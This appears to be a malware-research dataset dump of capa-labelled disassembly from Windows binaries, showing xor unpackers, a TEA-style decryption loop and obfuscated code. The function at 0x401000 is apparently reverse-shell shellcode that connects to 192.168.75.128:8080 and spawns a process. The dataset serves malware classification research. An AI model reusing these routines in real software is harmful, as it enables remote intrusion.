joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x20d7841f
dec eax
sub esi, eax
sub eax, 0xab1c7522
popal
sub eax, esi
dec esi
and eax, esi
mov esi, 0
mov ebx, edx
sub eax, ecx
and eax, eax
mov edi, ebx
sub ecx, 0xbbc38f53
mov ecx, eax
mov edx, edi
mov eax, ecx
sub eax, ecx
inc esi
dec ecx
sub eax, 0x4dfef883
and eax, ecx
cmp esi, 0x10050d3
jne 0xa789c6
sub ecx, 1
dec eax
or eax, eax
sub eax, esi
add esi, 0xef41173e
mov edx, 0xa78796
dec esi
add esi, 0x79559c9a
mov eax, 0xa7898a
mov edi, ebx
add ebx, 0xe6d58213
not edi
mov ecx, dword [edx]
add edi, 0x6ede8119
not edi
and ecx, 0xff
sub esi, 0x8a2aa337
add esi, 0x8bcdf4e9
mov ebx, 0x3d90ff7d
xor dword [eax], ecx
mov edi, ebx
and edi, edi
sub edi, 0xb362860d
add eax, 1
dec edi
mov ebx, 0x4d888611
inc edx
sub ebx, 0x7bd05648
or ebx, ebx
add esi, esi
cmp eax, entry0
jl 0xa78a1e
inc edi
mov edi, 0x877c75a
sub esi, 0x545c1f3d
sub edi, ebx
mov edi, esi
not ebx
add edi, edx
mov ecx, 0x97820199
mov ebx, 0xa7898e
sub edx, edi
or esi, edi
mov ebx, dword [ebx]
sub esi, ecx
mov ecx, 0xb80d1df8
mov ebx, dword [ebx]
mov edx, edi
mov esi, edx
dec edx
push ebx
sub edx, 1
sub ecx, edx
mov ebx, 0xa7898a
sub esi, ecx
and edx, esi
mov esi, 0x1cc41b72
mov ebx, dword [ebx]
sub ecx, esi
dec edi
inc edi
mov ebx, dword [ebx]
mov esi, 0xffbdb978
add edx, edx
push 0xa78992
sub edi, esi
inc esi
add esi, esi
call ebx
add ecx, 0xa43cdbef
sub edx, 1
dec ecx
pop ebx
or esi, edx
sub edi, 0xe0ffef5
sub esp, 4
mov dword [esp], 0xa7899f
mov edi, 0x8fc94734
and ecx, edi
push eax
add edi, 0x3dac28f7
sub edx, 0x6ec3b3de
call ebx
dec edx
mov edx, 0x27479530
push 0x40
and esi, ecx
not edx
push 0x3000
and edi, ecx
add edx, edi
inc edi
sub esp, 4
mov dword [esp], 0x20000b3a
add edi, 0x1d3a525d
mov edi, 0xfb004ad0
add esi, esi
push 0
not esi
inc edi
call eax
sub edi, 0x4332501f
mov edx, edi
mov edx, esi
add eax, 0x20000a77
add esi, edx
or edx, edi
sub edx, 0x5e7365f0
mov ebx, 0xf36e4da5
mov edi, esi
sub ecx, 0xe81a6bf3
mov dword [eax], ebx
not edi
sub esi, edx
mov ebx, dword [eax]
add esi, 0x78c3700e
mov ecx, 0xc6d25361
cmp ebx, 0xf36e4da5
je 0xa78b8b
mov edx, 0
mov ebx, dword [edx]
add ecx, 0x4105fabe
inc esi
dec edi
mov edx, 0xbb54ab67
add edx, 0x4b4213ec
add ecx, ecx
and eax, esi
mov esi, eax
mov ecx, section.UPX1
mov esi, eax
and esi, esi
mov edi, 0xa78795
sub eax, 0xc5fa4a51
mov esi, 0xb2024a37
not eax
mov edx, 0
dec esi
or esi, esi
mov esi, 0x8f0c306
Function at 0xba8be6
Capabilities:
Encode data using xor

Disassembly:
inc ecx
not bl
jmp 0xfd4ed0
adc esi, dword [ecx + 0x417fe979]
inc ecx
add bl, 1
dec eax
mov dword [esp + 0x18], 0x9508669a
inc ecx
xor bl, 0x2f
inc ecx
add bl, 0x87
call fcn.00baa407
lds ecx, [edi + edi + 0x1ebda8b8]
pop ecx
popal
mov dword [0x8c061af1], eax
push edi
loopne 0xfd4ecb
int 0x7e
and eax, 0x3ab5e725
outsb dx, byte [esi]
std
or esi, dword [ecx + 0x635f5c45]
xchg dword [ecx - 0x2c2fdff], eax
iretd

Function at 0xbae9fa
Capabilities:
Encrypt data using speck

Disassembly:
dec eax
sub dword [esp + 8], edx
mov dx, word [ecx]
dec ecx
sub esi, 2
mov dword [esp + 0xc], 0xe33c83ae
inc cx
mov dword [esi], edx
dec eax
lea esp, [esp + 0x10]
jmp fcn.00a4e844
pop edx
jmp 0xf1767c
not cl
inc cl
mov edx, 0xba147e05
dec eax
bswap edx
rol cl, 1
jmp 0xf317e3
dec eax
sub edx, 0x5711aa9f
sbb cl, 0x98
ror cl, 1
shl edx, 0xd
push edx
sub cl, 0x9c
rol word [esp + 5], 0x4a
dec eax
inc edx
rol cl, 1
push edx
sub cl, dl
not dl
or dl, byte [esp + 0xa]
dec eax
lea edx, [edx + edx + 0x3e0a1e1d]
not cl
xchg byte [esp + 7], dh
shl dword [esp + 8], 0x92
dec cl
dec eax
not edx
inc esp
xor dl, cl
dec eax
lea ecx, [esp + ecx + 0x10]
neg word [esp + 7]
jne 0xa42afa

Function at 0xf05d62
Capabilities:
Get number of processors

Disassembly:
je 0xf05d85
inc edx
test sp, 0xbc06
cmp edx, 0x104
jmp 0xf05d7f
mov byte [esi], al
jmp 0xa39299
dec eax
sub edi, 2
inc ecx
pop esp
inc ecx
mov esp, 0x37060c8b
inc ebp
movzx esp, word [esp + edi - 0x37060c8b]
call fcn.00f0e7ca
jb 0xfcbfb2
mov eax, dword fs:[0x30]
dec cx
adc ecx, esp
rol ch, 0xa9
mov eax, dword [eax + 0xc]
shld ebx, esp, 0xb6
mov ecx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
sar bh, 0x21
cmp di, 0xb198
mov dword [ebp - 4], eax
ror bx, 0xa0
rol bl, 0xb7
sbb bx, si
mov ebx, ecx
cmp bx, sp
clc
cmp ecx, eax
jmp 0xfc42f7
je 0xbb5195
lea ebx, [ebx]
cmp cl, 0xa2
mov eax, 0xc7abcbab
mov cl, dl
rol eax, cl
mov esi, 0x3f8dcf87
add si, dx
lea esi, [ebp + edx - 0x10c]
test dx, di
clc
cmc
add al, dl
cmc
cmp esp, ebp
xor al, byte [edi + esi]
jmp 0xbb13d7
Function at 0xf1b035
Capabilities:
Encrypt data using speck

Disassembly:
dec eax
lea esp, [esp + 0x10]
jmp fcn.00baa50f
dec eax
mov dword [esp + 8], edx
dec eax
mov dword [esp], ecx
inc ecx
push esi
mov ecx, 0x51af900d
inc esp
movzx esi, cl
inc cx
xor ecx, esi
inc ecx
push eax
dec esp
lea esi, [esp + ecx - 0x51af9050]
sar cl, 0x61
push ebx
inc ecx
push ebp
inc esp
movsx ebp, cl
dec eax
lea ecx, [ecx*2 + 0x5a52124]
sar cx, cl
dec ebx
lea ecx, [ebp + esi - 0x200]
and cl, 0xf0
inc ebp
or ch, ch
inc ecx
setl ch
inc ecx
push edx
inc ecx
push ebx
push edi
js 0xa5dd59
inc edx
mov edi, dword [esp + ebp + 0x68]
inc ebp
mov edx, ebp
not edi
jbe 0xf24398
inc edi
inc ecx
xor dl, 0xab
inc bp
xchg edx, ebp
dec ecx
sar edx, 0x84
ror edi, 1
inc edx
lea edi, [edi + ebp*4 + 0x2f844bef]
call fcn.00f2cd49
in eax, dx
js 0xf2440b
xor byte [eax + 0x79394229], cl
out 0xcd, eax
stosb byte es:[edi], al
dec esi
fdivr dword [ebx]
mov al, byte [0xc12ad1a8]
and dword [ebx], edx
loope 0xf2440b
or ah, byte [ecx + 0x4c23d545]
mov ah, byte [eax + 0x4fe49f2e]
daa
bound ebp, qword [ebx + 0x66]
ret 0x2dde
int1
dec ebx
mov bh, 0x3f
in eax, 0x5f
jecxz 0xf24456
lea ebp, [edi]
not dword [edi]
mov ecx, 0xa507ef63
pop ds
xor dword [ebx], 0x63
dec ecx
xor esp, dword [ebx + 0x49]
out dx, eax
daa
jmp 0x4d78f454
rcl dword [edi + eax*4], cl
and al, 2
mov ah, 0xc
adc cl, byte [0x2309545]
dec ebx
jb 0xf2441e
call 0xe44225b3
and dl, byte [ecx - 0x4b64b2fa]
int1
xchg ecx, eax
push es
dec ebp
wait
mov ah, 0xf1
mov dl, 0x45
add dword [edx], edx
imul edx, eax, 0x26ffc410
pop ecx
fadd st(7), st(0)
adc bh, byte [ecx + 0x28]
das
bound esp, qword [ecx + 0x78]
inc edi
cli
test eax, 0x3152bf98
inc esp
dec edi
pop edx
jno 0xf244d4
ja 0xf24440
mov dword [eax + 0x3c1162bf], ecx
pop ds
mov edx, 0xa20748c1
or edx, eax
and eax, 0x66a2e0e6
mov byte [0x3a99df8d], ch
rcl dword [esi + 0x35]
push ebx
fld dword [0x8cfaa63f]
add bl, byte [ecx - 0x7745aa7e]
invalid
lodsd eax, dword [esi]
insb byte es:[edi], dx
cmp eax, 0xe9c69157
aad 0xe3
mov esi, 0x2b2d6387
iretd
Function at 0xf3728d
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
je 0xfc6836
cmp eax, ecx
jmp 0xfe3588
jge 0xfc6de7
lea edi, [esi - 1]
jmp 0xfc6df3
jl 0xf0162e
jmp 0xeecca8
jle 0xeecca0
mov ecx, dword [ebp - 4]
jmp 0xf2a22a
je 0xf23eff
mov esi, dword [ebp + 0xc]
clc
cmp esi, 0x90b34e0e
test esi, esi
jmp 0xf23eeb
mov eax, dword [ebp - 0xc]
movzx ecx, di
ror ecx, cl
mov ecx, dword [ebp + 0x10]
lea esi, [edi + ebx]
cmc
sar esi, 1
mov eax, dword [eax + esi*4]
clc
cmp si, 0x183e
push ecx
adc cl, 0x2a
mov cl, 0x31
stc
mov ecx, dword [ebp + 0xc]
cmp esi, esi
jmp 0xf0d774
mov eax, dword [edx + 0x3c]
cmp al, 0x94
clc
test dl, dl
lea eax, [eax + edx]
test sp, bp
cmp dword [eax], 0x4550
jne 0xf23eff
mov ecx, dword [eax + 0x78]
cmp si, 0x1611
mov dword [ebp - 4], ecx
cmc
test ecx, ecx
jmp 0xf3f33d
mov edx, dword [ebp - 4]
cmove ecx, eax
mov eax, dword [ebp + 8]
shrd ecx, ecx, 0x25
stc
mov ecx, dword [edx + eax + 0x24]
sar dl, cl
cwd
lea edx, [ecx + esi*2]
shld cx, cx, 0x37
shr ch, cl
clc
movzx eax, word [edx + eax]
rcl edx, 0xba
shrd ecx, eax, 0xa0
mov ecx, dword [ebp - 4]
btc edx, ebx
shld edx, edx, 0x82
mov edx, dword [ebp + 8]
cmp cx, cx
mov dword [ebp - 8], eax
inc ah
bt ax, ax
mov eax, dword [ebp - 8]
stc
test dx, 0xc69e
cmp eax, dword [ecx + edx + 0x14]
jmp 0xf0dbcc
add eax, edx
jmp 0xfe7933
jae 0xfc6836
mov esi, dword [ecx + edx + 0x1c]
cmp ebx, edi
cmc
lea eax, [esi + eax*4]
mov eax, dword [eax + edx]
test ax, cx
clc
stc
test eax, eax
jmp 0xa489e4
mov edi, dword [ecx + edx + 0x18]
test ebp, edx
cmc
test edi, edi
je 0xf0162e
mov eax, dword [ecx + edx + 0x20]
dec edi
lea eax, [eax + edx]
cmp esi, 0x1432142c
stc
clc
xor ebx, ebx
mov dword [ebp - 0xc], eax
cmp eax, ebp
test edi, edi
jmp 0xbb589a
je 0xf23eff
mov eax, 0x5a4d
cmp word [edx], ax
je 0xef21e6
sub eax, eax
mov esi, 0xb02ca305
pop esi
jmp 0xfe7666
jmp 0xf0162e
pop ebp
jmp 0xbd01d2
push ebp
cmp di, si
mov ebp, esp
add edx, ebx
mov edx, dword [ebp + 8]
lea esp, [esp - 0x114]
clc
push esi
test cx, 0x2c24
clc
test edx, edx
jmp 0xee7439
je 0xf23eff
mov eax, dword [eax + 0x7c]
stc
test edi, edi
clc
push ebx
test esp, 0x890d0f81
cmp ecx, 0x7339d7be
stc
push edi
jmp 0xfd943e
jle 0xf015e9
lea ebx, [esi + 1]
movzx edx, sp
cmp ebx, edi
mov edx, dword [ebp + 8]
jmp 0xee67ed
mov dword [ebp - 0x10], eax
test bl, 0x9b
test bp, si
cmp cx, sp
mov dword [ebp - 8], 0xffffffff
cmc
clc
cmp esi, 0xffff
ja 0xf16514
mov eax, esi
sub eax, dword [ecx + edx + 0x10]
jmp 0xf01625
mov esp, ebp
jmp 0xf35c65
call 0xfc39c3
add esp, 4
test eax, eax
jmp 0xbaa495
Function at 0x401000
Capabilities:
Resolve function by hash

Disassembly:
dec eax
xor edx, edx
dec eax
mov eax, dword [edx + 0x60]
dec eax
mov esi, dword [eax + 0x18]
dec eax
mov esi, dword [esi + 0x30]
dec esp
mov ecx, dword [esi]
dec ebp
mov ecx, dword [ecx]
dec ebp
mov ecx, dword [ecx + 0x10]
jmp 0x40107f
dec esp
mov ebp, ecx
inc ecx
mov eax, 0xec0e4e8e
call fcn.0040101c
dec ecx
mov esp, eax
dec eax
xor eax, eax
mov ax, 0x6c6c
push eax
dec eax
mov eax, 0x5f325357
xor esi, dword [edx]
push eax
dec eax
mov ecx, esp
dec eax
sub esp, 0x20
dec esp
mov eax, esp
call eax
dec eax
add esp, 0x20
dec ecx
mov esi, eax
dec ecx
mov ecx, eax
inc ecx
mov eax, 0x3bfcedcb
dec esp
mov ebx, ecx
call fcn.0040101c
dec eax
xor ecx, ecx
mov cx, 0x198
dec eax
sub esp, ecx
dec eax
lea edx, [esp]
mov cx, 0x202
dec eax
sub esp, 0x30
call eax
dec eax
add esp, 0x30
dec ecx
mov ecx, ebx
inc ecx
mov eax, 0xadf509d9
call fcn.0040101c
dec eax
sub esp, 0x30
dec eax
xor ecx, ecx
mov cl, 2
dec eax
xor edx, edx
mov dl, 1
dec ebp
xor eax, eax
inc ecx
mov al, 6
dec ebp
xor ecx, ecx
dec esp
mov dword [esp + 0x20], ecx
dec esp
mov dword [esp + 0x28], ecx
call eax
dec ecx
mov esp, eax
dec eax
add esp, 0x30
dec ecx
mov ecx, ebx
inc ecx
mov eax, 0xb32dba0c
call fcn.0040101c
dec eax
sub esp, 0x20
dec esp
mov ecx, esp
dec eax
xor edx, edx
mov dl, 2
dec eax
mov dword [esp], edx
dec eax
xor edx, edx
mov dx, 0x901f
dec eax
mov dword [esp + 2], edx
mov edx, 0x804ba8c0
dec eax
mov dword [esp + 4], edx
dec eax
lea edx, [esp]
dec ebp
xor eax, eax
inc ecx
mov al, 0x16
dec ebp
xor ecx, ecx
dec eax
sub esp, 0x38
dec esp
mov dword [esp + 0x20], ecx
dec esp
mov dword [esp + 0x28], ecx
dec esp
mov dword [esp + 0x30], ecx
call eax
dec eax
add esp, 0x38
dec ecx
mov ecx, ebp
inc ecx
mov eax, 0x16b3fe72
call fcn.0040101c
dec eax
mov edx, 0xd19b929c
lcall 0xd2f7, 0x48ff9a87
push edx
dec eax
mov edx, esp
inc ecx
push esp
inc ecx
push esp
inc ecx
push esp
dec eax
xor ecx, ecx
push cx
push ecx
push ecx
mov cl, 0xff
inc cx
push cx
dec eax
xor ecx, ecx
push cx
push cx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov cl, 0x68
push ecx
dec eax
mov edi, esp
dec eax
mov ecx, esp
dec eax
sub ecx, 0x20
push ecx
push edi
dec eax
xor ecx, ecx
push ecx
push ecx
push ecx
dec eax
inc ecx
push ecx
dec cl
push ecx
push ecx
push ecx
push ecx
dec ecx
mov eax, ecx
dec ecx
mov ecx, ecx
call eax
Function at 0x45b6c0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x45b6c6
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x406290
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x455fdb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x40419c
call fcn.0040747b
push 4
mov dword [esp + 0x18], 0
call fcn.00408619
mov edi, eax
add esp, 4
test edi, edi
je 0x406304
push ebx
call fcn.00407276
mov dword [edi], eax
call fcn.00407035
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.0040743c
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4062f8
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00407464
pop ebx
jmp 0x406306
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4091eb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x459354]
jne 0x4091f5
repz ret
jmp fcn.0040d7dc
Function at 0x411727
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x459354]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b413
and dword [ebp - 0x14], 0
cmp dword [0x45eaa4], 0
mov dword [ebp - 0x18], eax
jne 0x4117da
push 0x403e88
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x411882
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403e7c
push ebx
call edi
test eax, eax
je 0x411882
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403e6c
push ebx
mov dword [0x45eaa4], eax
call edi
push eax
call esi
push 0x403e58
push ebx
mov dword [0x45eaa8], eax
call edi
push eax
call esi
push 0x403e3c
push ebx
mov dword [0x45eaac], eax
call edi
push eax
call esi
mov dword [0x45eab4], eax
test eax, eax
je 0x4117da
push 0x403e24
push ebx
call edi
push eax
call esi
mov dword [0x45eab0], eax
mov eax, dword [0x45eab0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x411833
cmp dword [0x45eab4], ecx
je 0x411833
push eax
call esi
push dword [0x45eab4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x411833
test ebx, ebx
je 0x411833
call edi
test eax, eax
je 0x41182a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41182a
test byte [ebp - 8], 1
jne 0x411833
or dword [ebp + 0x10], 0x200000
jmp 0x411866
mov eax, dword [0x45eaa8]
cmp eax, dword [ebp - 0x18]
je 0x411866
push eax
call esi
test eax, eax
je 0x411866
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x411866
mov eax, dword [0x45eaac]
cmp eax, dword [ebp - 0x18]
je 0x411866
push eax
call esi
test eax, eax
je 0x411866
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x45eaa4]
call esi
test eax, eax
je 0x411882
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x411884
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004091eb
leave
ret
Function at 0x450320
Capabilities:
Get common file path

Disassembly:
sub esp, 0xd38
cmp dword [0x7e280c], 0x37
jne 0x4503b6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0
lea eax, [esp + 0x53c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [esp + 0x13c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0x7e3800]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x7e2774]
mov byte [edx + esi], cl
add esp, 0xd38
ret
Function at 0x4505f0
Capabilities:
Accept command line arguments
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7e280c]
sub esp, 0x28c
push ebx
push ebp
push esi
shr eax, 3
xor ebx, ebx
push edi
mov edi, dword [0x7e2774]
cmp eax, ebx
jbe 0x4507dd
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
jmp 0x450626
mov edi, dword [esp + 0x1c]
xor ebx, ebx
cmp dword [0x7e280c], 0x1c
jne 0x45063d
lea eax, [esp + 0x40]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov ecx, dword [edi + 4]
mov edx, dword [0x45a2d0]
mov eax, dword [0x45a2d4]
mov esi, dword [edi]
mov dword [esp + 0x14], ecx
mov ecx, dword [0x45a2d8]
mov dword [esp + 0x2c], edx
mov edx, dword [0x45a2dc]
mov edi, 0xc6ef3720
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x30], edx
mov ebp, 0x20
jmp 0x450682
xor ebx, ebx
mov ecx, esi
shl ecx, 4
add ecx, dword [esp + 0x24]
mov eax, esi
shr eax, 5
add eax, dword [esp + 0x30]
lea edx, [edi + esi]
xor ecx, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], ecx
mov dword [0x7e2778], ebx
mov eax, dword [esp + 0x18]
add dword [0x7e2778], eax
mov eax, dword [0x7e2778]
mov dword [esp + 0x34], eax
mov dword [esp + 0x18], ebx
mov eax, dword [esp + 0x34]
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x18]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x18]
sub dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, eax
shl ecx, 4
add ecx, dword [esp + 0x2c]
cmp dword [0x7e280c], 0x1be
mov dword [esp + 0x10], ecx
lea ebx, [edi + eax]
jne 0x450746
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
shr eax, 5
add eax, dword [esp + 0x28]
xor ecx, ebx
mov dword [0x7e2780], 0xff6b3619
mov dword [0x7e2784], 0xffffffff
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x18]
xor dword [esp + 0x10], eax
sub esi, dword [esp + 0x10]
add edi, 0x61c88647
dec ebp
jne 0x450680
cmp dword [0x7e280c], 0x8d4
jne 0x450796
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
mov dword [edi], esi
mov dword [edi + 4], ecx
cmp dword [0x7e280c], 0x17
jne 0x4507cc
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea edx, [esp + 0x48]
push edx
push 0x403f08
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add edi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x1c], edi
jne 0x450620
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28c
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x406250
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x4ac77b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x404164
call fcn.0040743b
push 4
mov dword [esp + 0x18], 0
call fcn.004085d9
mov edi, eax
add esp, 4
test edi, edi
je 0x4062c4
push ebx
call fcn.00407236
mov dword [edi], eax
call fcn.00406ff5
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.004073fc
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4062b8
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00407424
pop ebx
jmp 0x4062c6
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x4091ab
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4af354]
jne 0x4091b5
repz ret
jmp fcn.0040d79c
Function at 0x4a7380
Capabilities:
Get common file path

Disassembly:
sub esp, 0xd38
cmp dword [0x83880c], 0x37
jne 0x4a7416
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0
lea eax, [esp + 0x53c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
lea ecx, [esp + 0x13c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0x839800]
mov dword [esp], edx
mov eax, 0x5d1
add dword [esp], eax
mov eax, dword [esp]
mov cl, byte [eax + esi]
mov edx, dword [0x838774]
mov byte [edx + esi], cl
add esp, 0xd38
ret